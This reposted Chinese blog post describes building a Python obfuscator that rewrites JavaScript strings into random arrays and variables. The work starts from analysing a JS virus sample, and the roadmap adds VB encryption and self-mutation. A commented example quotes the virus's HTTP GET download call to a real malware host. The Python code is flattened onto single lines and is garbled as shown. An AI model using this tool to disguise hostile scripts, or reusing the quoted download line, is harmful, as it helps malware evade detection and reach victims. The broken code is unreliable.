Tools_Obfuscateer_1
来源:互联网 发布:海口关键词优化排名 编辑:程序博客网 时间:2024/06/04 00:22
本篇讲自己用python完成一个脚本混淆器,也是第一个完整的py项目.对应bolg中Virus_JS3_PyAnalysisAndSummary,本来不该厚脸皮再开一篇的,且过程会有好多重复的代码,但还是觉得该记录一下,有助于理清思路.
0x1.基础开发
0x1.1解析-混淆功能实现(v0.6)
#!/usr/bin/env python3# -*- coding: utf-8 -*-''' 目前版本v0.6 计划: v0.7 --随机好多废数据. v0.8 --用vb二次加密. v0.9 --自变形. v1.0 --发布.'''__author__ = 'ahoo'import sysimport ioimport osimport codecsimport reimport shutilimport randomPutPath = '24_analysis.txt' #JsVirus文件(卡饭精睿包2016.12.16.24).OutPath = '24_reverse.vir' #提取到的文件.myJslog = []varStr = []varStrRemoveRepeat = []varStrRemoveRepeat.append('ahoo')AuthorSign = Truesys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') #改变标准输出的默认编码 def ReadLogFile(InPath,ReadTye = 'r'): logall = [] #print(InPath) if os.path.exists(InPath): f = codecs.open(InPath,ReadTye,'utf-8') #读入到list for line in f: if None == line: pass else: logall.append(line) f.close() return logalldef WriteResultFile(OutRePath,findRe= [],WriteTye = 'a+'): #后面可能改成词典 #if os.path.exists(InPath): # pass #else: #要用全局变量把这里变成只写一次吗 global AuthorSign f = codecs.open(OutRePath,WriteTye,'utf-8') if AuthorSign == True: f.write('\n*****************************************************\r\n') f.write('* ahoo JsVirusAnalysis ') f.write('\n***************************************************\r\n\n') AuthorSign = False for i in findRe: f.write(i + '\n') f.close() return True#解析引擎def JSVirus_Parse(): argv = sys.argv argc = len(sys.argv) #0.输入输出参数时用 if argc > 3: print('Too many argv') #需要换成debugger return False #1.读取文件到LineList myJslog = ReadLogFile(PutPath) #2.找到定义变量的line,记录为字典:var xnisd = "open"; # 找到真实意义的代码行为解析做准备. varLineDict = {} CodeLineList = [] writeList = [] # 进行区分是不是变量的. for line in myJslog: if 'var' in line and '= "' in line: #var xnisd = "open"; key = re.match('[var]{3}\s*([a-z0-9A-Z_]{1,})\s*=\s*(".{1,}"$)',line) if(key != None): #print(key.group(2)) # varLineDict[key.group(1)] = key.group(2) else: CodeLineList.append(line) #print(varLineDict) #print(CodeLineList) #3.Parse for line in CodeLineList: #3.1 替换数组结构: ['e', ebylx, 'u', 'f'][1] --->ebylx for Line12_split in re.findall('(\[[^\[\]]+\]\[\d\])',line): #参考下面过程. index = int(re.match('\[(.*)\]\[(.*)\]',Line12_split).group(2)) repstr = re.match('\[(.*)\]\[(.*)\]',Line12_split).group(1).split(',')[index] replaceTemp = re.compile('(\[[^\[\]]+\]\[\d\])') line = replaceTemp.sub(repstr,line,count=1) #print(line) #3.2 替换变量为对应的值: ebylx --->"va" for varline in varLineDict: if varline in line: vartemp = re.compile(varline) line = vartemp.sub(varLineDict[varline],line) #print(line) #3.3 替换" + "为空格. plus = re.compile(r'"[\s\S]{0,3}\+[\s\S]{0,3}"') line = plus.sub('',line) #print(line) writeList.append(line) #4 写入并打开文件 WriteResultFile(OutPath,writeList) os.system('notepad.exe ' + OutPath) print('The Virus has been analyzed,there is my advice! Thanks!') return True#分割引擎def JSVirus_Split(): argv = sys.argv argc = len(sys.argv) #1.读取文件到LineList myJslog = ReadLogFile(PutPath) ''' #2.以一句话为例子. #效果:line11 = "fxejoplod6= woqvybd3[[yxypehn, 'gh', 'pk', 'o'][0] + ['rg', 'q', cjupryhfi][2]]([bnifpynmu, 'mj', 'e'][0], [ovfowqi, 'm', 'w'][0] , ['k', lwiju][1]);" #2.1先进行匹配要分割的代码放入到list中. line12 = '"GET","http://kamennyigorod.ru/form.uio", "0"' line11 = 'fxejoplod6 = woqvybd3["open"]("GET","http://kamennyigorod.ru/form.uio", "0");' print(re.findall('\[("[^\[\]\(\)]+")\]',line11)) #"open" print(re.findall('\(("[^\[\]\(\)]+")\)',line11)) #"GET", "http://kamennyigorod.ru/form.uio", "0" #2.2构造替换字符串("open" 替换为数组字符串) openArry = replaceFindStrUsArrlist(line12) print(openArry) #2.3替换符合条件的----note:改变匹配规则为""之间的更实用. #patternFang = re.compile('\[("[^\[\]\(\)]+")\]') for i in re.findall('\[("[^\[\]\(\)]+")\]',line11): patternFang = re.compile(i) replaceTempstr = replaceFindStrUsArrlist(i) line11 = patternFang.sub(replaceTempstr,line11,count=1) print(line11) for j in re.findall('\(("[^\[\]\(\)]+")\)',line11): patternFang = re.compile(j) replaceTempstr = replaceFindStrUsArrlist(j) line11 = patternFang.sub(replaceTempstr,line11,count=1) print(line11) ''' #2.1替换[] 和()之间的. writeList = [] for line in myJslog: if line == "": #writeList.append(line) pass else: for i in re.findall('\[(\s*"[^\[\]\(\)]+"\s*)\]',line): patternFang = re.compile(i) replaceTempstr = replaceFindStrUsArrlist(i) line = patternFang.sub(replaceTempstr,line,count=1) for j in re.findall('\((\s*"[^\[\]\(\)]+"\s*)\)',line): patternFang = re.compile(j) replaceTempstr = replaceFindStrUsArrlist(j) line = patternFang.sub(replaceTempstr,line,count=1) writeList.append(line) pass #2.2替换""之间的. writeList2 = [] for lin1 in myJslog: if lin1 == "": #writeList2.append(lin1) pass else: #print(lin1) for m in re.findall('"\s*[^"\,\+]+\s*"',lin1): if len(m) >= 2: patternYin = re.compile(m[1:-1]) replaceTempstr1 = replaceFindStrUsArrlist(m[1:-1]) #print(replaceTempstr1) lin1 = patternYin.sub(replaceTempstr1,lin1,count=1) #print(lin1) else: lin1 = m writeList2.append(lin1) pass #print(writeList2) #4 写入并打开文件 #WriteResultFile(OutPath,writeList) #4.1字节写个乱序的function print(varStr) random.shuffle(varStr) print(varStr) WriteResultFile(OutPath,varStr) WriteResultFile(OutPath,writeList2) os.system('notepad.exe ' + OutPath) print('The Code has been Splited,there is my advice! Thanks!') return True #替换符合条件的查找到的为数组类型.------------?应该在这个地方生成var同时返回def replaceFindStrUsArrlist(findstr): ''' list_split_line = [] list_split_line = StrSplitLine(findstr) print(list_split_line) list_replace_usarry = [] for i_list_split_line in list_split_line: strArry = replaceListItemUsArrary(i_list_split_line) list_replace_usarry.append(strArry) print(list_replace_usarry) ''' replacestr = '' #缺少个判断小于3个字符怎么办. if len(findstr) <=3: return findstr for i_list_split_line in StrSplitLine(findstr): replacestr = replacestr + replaceListItemUsArrary(i_list_split_line) + ' + ' #print(replacestr[:-3]) return replacestr[:-3]#替换某一个元素为数组类型 def replaceListItemUsArrary(listItem): #对分割后数组的某个元素进行替换:随机数组长度.(index = random -1) arrLengt= random.randint(3,5) index = random.randint(0,arrLengt-1) arrList =[] for i in range(0,arrLengt,1): #插入 arrList.append(randStr(2,5)) #v0.6 varName = randStr(3,7) while varName in varStrRemoveRepeat: varName = randStr(4,8) varStrItem = 'var '+ varName + ' = "' + listItem + '"' #------------------------------- arrList[index] = varName replaceTemp = str(arrList) + '[' + str(index) + ']' replaceTemp_pattern = re.compile('\''+varName+'\'') replaceTemp = replaceTemp_pattern.sub(varName,replaceTemp) #print(arrList) #print(listItem) varStr.append(varStrItem) varStrRemoveRepeat.append(varName) print(varStrItem) print(replaceTemp) return replaceTemp#随机一个长度2-5的字符串 def randStr(min,max): randstr = '' strLengt = random.randint(min,max) for i in range(1,strLengt,1): chrTem = chr(random.randint(97,122)) randstr = randstr + chrTem return randstr#分割一个line中的元素返回list.def StrSplitLine(strForSplit): result = [] if len(strForSplit) == 0: #print(strForSplit) return result strleng = len(strForSplit) if strleng <= 4: result.append(strForSplit) else: randlen = random.randint(2,4) result.append(strForSplit[:randlen]) tempList = StrSplitLine(strForSplit[randlen:]) for j in tempList: result.append(j) return result#分割一个list中的元素返回list. def StrSplit(strForSplit = []): strSplitList = [] result = [] if len(strForSplit) == 0: #print(strForSplit) return result for i in strForSplit: strleng = len(i) if strleng <= 4: result.append(i) else: #randlen = random.randint(2,int(strleng/2)) randlen = random.randint(2,4) #print(randlen) #print(i[:randlen]) #print(i[randlen:]) strSplitList.append(i[:randlen]) strSplitList.append(i[randlen:]) #print(strSplitList) tempList = StrSplit(strSplitList) for j in tempList: result.append(j) #print('result\n') #print(result) return resultif __name__ == '__main__': JSVirus_Split()
0x1.2改写为class,add_log
需要高内聚低耦合,不知道理解的对不对,StrSplitEng--->StrSplitLine2SelfTypeStr()和RandomSequence-->randSelfTypeStr2ArraryTypeStr() 本是一个fun里实现的,最后做了合理的切割.
#!/usr/bin/env python3# -*- coding: utf-8 -*-''' 目前版本v0.8--Refactor 计划: v0.8 --用vb二次加密. v0.9 --自变形. v1.0 --发布.'''__author__ = 'ahoo'import sysimport ioimport osimport codecsimport reimport shutilimport randomimport loggingimport logging.config''' ---------------代码配置logging.basicConfig( level = logging.DEBUG, #不需要输出时改为INFO format = '%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s' #,filename='myapp.log', #filemode='a+' )#指定log输出格式. logging有一个日志处理的主对象,其它处理方式都是通过addHandler添加进去的。formatter = logging.Formatter('%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s')#输出到文件file_handler= logging.FileHandler('myapp.log','a+') #FileHandler(filename, mode=’a’, encoding=None, delay=False)file_handler.setFormatter(formatter)file_handler.setLevel(logging.DEBUG)logging.getLogger('').addHandler(file_handler)##输出到console#console_handler = logging.StreamHandler(sys.stdout)#console_handler.setLevel(logging.DEBUG)#console_handler.formatter = formatter#logging.getLogger('').addHandler(console_handler)#'''#--------------------文件配置----------logfilePath = os.path.join(os.path.dirname(__file__), 'log\\logging.conf')logging.config.fileConfig('log\\logging.conf')logging.getLogger()sys.stdout = io.TextIOWrapper( sys.stdout.buffer, encoding='utf-8') #改变标准输出的默认编码PutPath = '24_analysis.txt' #JsVirus文件(卡饭精睿包2016.12.16.24).OutPath = '24_EngRefactorObfuscate.vir' #提取到的文件.#global areamyInputList = []varStr = []varStrRemoveRepeat = []varStrRemoveRepeat.append('ahoo')class FileRead2Write(object): def __init__(self): self.AuthorSign = True def ReadInputFile( self, InPath, ReadTye = 'r'): logall = [] #这个判断应该放到参数类里. if not os.path.isfile(InPath): fpR = codecs.open(InPath,ReadTye,'utf-8') for line in fpR: if None == line: pass else: logall.append(line) fpR.close() return logall def WriteOutputFile(self,OutPath,OutList= [],WriteTye = 'a+'): #后面可能改成词典 fpW = codecs.open(OutPath,WriteTye,'utf-8') if self.AuthorSign == True: fpW.write('\n*****************************************************\r\n') fpW.write('* ahoo EngObfuscate ') fpW.write('\n***************************************************\r\n\n') self.AuthorSign = False for i in OutList: fpW.write(i) fpW.close() return True def WriteOutputFileEx_ListShuffle(self,OutPath,OutList= [],WriteTye = 'a+'): #后面可能改成词典 fpW = codecs.open(OutPath,WriteTye,'utf-8') if self.AuthorSign == True: fpW.write('\n*****************************************************\r\n') fpW.write('* ahoo EngObfuscate ') fpW.write('\n***************************************************\r\n\n') self.AuthorSign = False if len(OutList) == 0: fpW.write('\n') return True random.shuffle(OutList) for i in OutList: fpW.write(i) fpW.close() return True def WriteOutputFileEx_LineStr(self,OutPath,LineStr,WriteTye = 'a+'): fpW = codecs.open(OutPath,WriteTye,'utf-8') if self.AuthorSign == True: fpW.write('\n***************************************************\n') fpW.write('* ahoo EngObfuscate ') fpW.write('\n***************************************************\n\n') self.AuthorSign = False fpW.write('\n' + LineStr + '\n') fpW.close() return True def OpenOutPath(self,OutPath,program = '"D:\\Program Files (x86)\\Notepad++\\notepad++.exe" '): return os.system(program + OutPath) # program = 'notepad.exe' #将list写入另一个中. def WriteList2List(self,list1 = [],list2 = []): if len(list1) == 0: pass else: for i in list1: list2.append(i) return True ''' 1.list排序 ransomFamilyList = list(set(ransomFamilyList)) 2.list最后一行去掉\n ransomFamilyList[-1] = ransomFamilyList[-1].strip('\n') 3.去空格. ransomFamilyList.append(i.strip(' ') + '\n') 4.遍历目录 for parent,dirnames,filenames in os.walk(InputDir): for filename in filenames: fpRan.ReadInputFile(os.path.join(parent, filename)) 5.for循环 #a =1 #[i for i in range(0,10,1) a = a+i ] '''class RandomSequence(object): def __init__(self): self.author = 'ahoo' pass #随机一个长度2-5的字符串,一般用作变量名 def randStr_az( self, minNum=2, maxNum=5): #判断一下大小传反了的情况 randstr = '' if minNum > maxNum: minNum = min(minNum,maxNum) maxNum = max(minNum,maxNum) strLengt = random.randint(minNum,maxNum) for i in range(1,strLengt,1): chrTem = chr(random.randint(97,122)) randstr = randstr + chrTem return randstr def randStr_AZUp(self,minNum=2,maxNum=5): randstr = '' if minNum > maxNum: minNum = min(minNum,maxNum) maxNum = max(minNum,maxNum) strLengt = random.randint(minNum,maxNum) for i in range(1,strLengt,1): chrTem = chr(random.randint(65,92)) randstr = randstr + chrTem return randstr #从正常的代码列表中随机一句,当废话用,混淆效果更好. '''吧代码生成一个pprint py库在这调用,下版.''' JsCodeList = [ 'new Function("a", "b", "return a+b;");', 'var ybdetof5 = new ActiveXObject("Scripting.FileSystemObject");' ] def randCodeLine(self,CodeList = []): if len(CodeList) == 0: CodeList.append('Life is short,U need the Eng') return random.choice(CodeList) #随机字符:'m' def randChr(self): return random.choice('abcdefghijklmnopqrstuvwxyz!@#$%^&*()') #随机字符list:['n','f','y','b'] def randChrEx_List(self): return random.sample('zyxwvutsrqponmlkjihgfedcba', 5) #随机生成一个List:['nihao','ahoo','a'] def randStrList(self,minNum=3,maxNum = 5): if minNum > maxNum: minNum = min(minNum,maxNum) maxNum = max(minNum,maxNum) arrLengt= random.randint(minNum,maxNum) arrList =[] for i in range(0,arrLengt,1): arrList.append(self.randStr_az()) return arrList #生成数组模式1:['xu', 'm', 'l', 'ahoo', 'milh'][3] def randStrArrary(self,itemstr): arrList = self.randStrList() index = random.randint(0,len(arrList)-1) arrList[index] = itemstr return str(arrList) + '[' + str(index) + ']' #生成数组模式2: ('var ab = "ahoo"', "['df', ab, 'puu', 'chx', 'avu'][1]") def randStrArryEx_var(self,itemstr): arrList = self.randStrList() index = random.randint(0,len(arrList)-1) #随机一个varName,确保不要重复. global varStrRemoveRepeat varName = self.randStr_az(3,7) while varName in varStrRemoveRepeat: varName = self.randStr_az(4,8) varStrItem = 'var '+ varName + ' = "' + itemstr + '"\n' varStrRemoveRepeat.append(varName) #生成数组 arrList[index] = varName replaceTemp = str(arrList) + '[' + str(index) + ']' #替换为变量形式. replaceTemp_pattern = re.compile('\''+varName+'\'') replaceTemp = replaceTemp_pattern.sub(varName,replaceTemp) return varStrItem , replaceTemp #生成数组模式3: 将一句话(自定义特殊格式)分割为数组加变量: #'open#@process' ---> {'var ax = "open"' : '['nihao',ax,'a'][1]',,} def randSelfTypeStr2ArraryTypeStr(self,SelfTypeStr): replacestr = '' varStrList = [] for i_list_split_line in SelfTypeStr.split('#@'): varStr,arrStr = self.randStrArryEx_var(i_list_split_line) replacestr = replacestr + arrStr + ' + ' varStrList.append(varStr) return varStrList,replacestr[:-3] #随机一个function vbs的 def randFun_Vb(self): return 'waitfortest\r\n coming~\r\n' pass def randFunList_Vb(self,MaxLen): funList=[] for i in range(0,MaxLen,1): funList.append(self.randFun_Vb()) return funListclass StrSplitEng(object): def __init__(self): self.author = 'ahoo' pass #分割line返回list:'Scripting.FileSystemObject'-->['Sc', 'ri', 'pt', 'ing', '.Fil', 'eSys', 'temO', 'bj', 'ect'] def StrSplitLine2List(self,strForSplit): result = [] strleng = len(strForSplit) if len(strForSplit) == 0: pass elif strleng <= 4: result.append(strForSplit) else: randlen = random.randint(2,4) result.append(strForSplit[:randlen]) tempList = self.StrSplitLine2List(strForSplit[randlen:]) for j in tempList: result.append(j) return result #分割一个line中的元素返回以'#@'分割的字符串. # 'Scripting.FileSystemObject'-->Scri#@pti#@ng.F#@ileS#@yst#@em#@Ob#@ject def StrSplitLine2SelfTypeStr(self,strForSplit1): resultStr = '' tempList = self.StrSplitLine2List(strForSplit1) if len(tempList) == 0: return resultStr else: for i in tempList: resultStr = resultStr + i + '#@' return resultStr[:-2] #分割一个list中的元素返回list. def StrSplit(self,strForSplit = []): strSplitList = [] result = [] if len(strForSplit) == 0: #print(strForSplit) return result for i in strForSplit: strleng = len(i) if strleng <= 4: result.append(i) else: #randlen = random.randint(2,int(strleng/2)) randlen = random.randint(2,4) #print(randlen) #print(i[:randlen]) #print(i[randlen:]) strSplitList.append(i[:randlen]) strSplitList.append(i[randlen:]) #print(strSplitList) tempList = StrSplit(strSplitList) for j in tempList: result.append(j) #print('result\n') #print(result) return resultclass ObfuscateMethod(object): rdClass = RandomSequence() spClass = StrSplitEng() def __init__(self): self.author = 'ahoo' #1.替换""之间的. def ObfuscateQuotes(self,InputList=[]): writeListTemp = [] varStrTemp = [] if len(InputList) == 0: return varStrTemp,writeListTemp for lin1 in InputList: if lin1 == "": #writeListTemp.append(lin1) pass else: for m in re.findall('"\s*[^"\,\+]+\s*"',lin1): if len(m) >= 2: pattern_quotes = re.compile(m[1:-1]) strtemp = self.spClass.StrSplitLine2SelfTypeStr(m[1:-1]) varlsit,replaceTempstr = self.rdClass.randSelfTypeStr2ArraryTypeStr(strtemp) #print(replaceTempstr1) lin1 = pattern_quotes.sub(replaceTempstr,lin1,count=1) #print(lin1) for varItem in varlsit: varStrTemp.append(varItem) else: lin1 = m writeListTemp.append(lin1) pass return varStrTemp,writeListTemp #2.替换[]和()之间的. def OufuscateBracket(self,InputList1=[]): writeListTemp1 = [] varStrTemp1 = [] if len(InputList1) == 0: return varStrTemp1,writeListTemp1 for line in InputList1: if line == "": #writeListTemp1.append(line) pass else: for i in re.findall('\[(\s*"[^\[\]\(\)]+"\s*)\]',line): pattern_bracket = re.compile(i) strtemp = self.spClass.StrSplitLine2SelfTypeStr(i) varlsit,replaceTempstr = self.rdClass.randSelfTypeStr2ArraryTypeStr(strtemp) line = pattern_bracket.sub(replaceTempstr,line,count=1) for varItem in varlsit: varStrTemp1.append(varItem) for j in re.findall('\((\s*"[^\[\]\(\)]+"\s*)\)',line): pattern_bracket = re.compile(j) strtemp = self.spClass.StrSplitLine2SelfTypeStr(j) varlsit,replaceTempstr = self.rdClass.randSelfTypeStr2ArraryTypeStr(strtemp) line = pattern_bracket.sub(replaceTempstr,line,count=1) for varItem in varlsit: varStrTemp1.append(varItem) writeListTemp1.append(line) pass return varStrTemp1,writeListTemp1#分割引擎def Eng(): try: fpClass = FileRead2Write() obfuCla = ObfuscateMethod() #1.读取文件到LineList global myInputList myInputList = fpClass.ReadInputFile(PutPath) #2.替换. global varStr varTem,writeTem = obfuCla.ObfuscateQuotes(myInputList) #varTem1,__ = obfuCla.OufuscateBracket(myInputList) fpClass.WriteList2List(varTem,varStr) #fpClass.WriteList2List(varTem1,varStr) logging.debug(varTem) #3.输出 fpClass.WriteOutputFileEx_ListShuffle(OutPath,varStr) fpClass.WriteOutputFile(OutPath,writeTem) #fpClass.OpenOutPath(OutPath) logging.info('The Code has been Splited,there is my advice! Thanks!') print('The Code has been Splited,there is my advice! Thanks!') except : #except Exception as e: logging.debug(e) logging.exception('Eng has a exception info.') return True def Example(): ''' fpClass = FileRead2Write() rdClass = RandomSequence() spClass = StrSplitEng() #1.读取文件到LineList global myInputList myInputList = fpClass.ReadInputFile(PutPath) fpClass.WriteOutputFileEx_LineStr(OutPath,"This is my first refactor code!") fpClass.WriteOutputFile(OutPath,rdClass.randFunList_Vb(8)) fpClass.WriteOutputFile(OutPath,rdClass.randStrList(6,10)) fpClass.WriteOutputFileEx_ListShuffle(OutPath,myInputList) print(rdClass.randStrArrary('ahoo')) print(rdClass.randStrArryEx_var('ahoo')) strtemp = spClass.StrSplitLine2List("Scripting.FileSystemObject") print(strtemp) strtemp1 = spClass.StrSplitLine2SelfTypeStr('Scripting.FileSystemObject') print(strtemp1) strtemp1 = spClass.StrSplitLine2SelfTypeStr('Scripting.FileSystemObject') varlsit,replace = rdClass.randSelfTypeStr2ArraryTypeStr(strtemp1) print(replace) print(varlsit) #['nktk', 'qr', qaxccb, 'rxoh', 'w'][2] + ['fhn', 'pqlh', fpweqc][2] + ['uwm', ihcjzc, 'uzm'][1] + ['l', lh, 't', 'gkx'][1] + ['mjld', 'kwas', wzgc, 'jjog', 'xx'][2] + ['okm', 'axr', dbz, 'ipg', 'p'][2] + ['fde', 'pd', btgrqw][2] + [dlnim, 'g', 'iaah', 'm', 'r'][0] #['var qaxccb = "Sc"', 'var fpweqc = "ri"', 'var ihcjzc = "pti"', 'var lh = "ng.F"', 'var wzgc = "ileS"', 'var dbz = "yst"', 'var btgrqw = "emOb"', 'var dlnim ="ject"'] ''' passif __name__ == '__main__': Eng()
0x2.分割为模块(v0.94)
将上面的文件按类分为4个单独的文件.
添加项目骨架.
cmd窗口 py setup.py install 安装,安装完成后测试.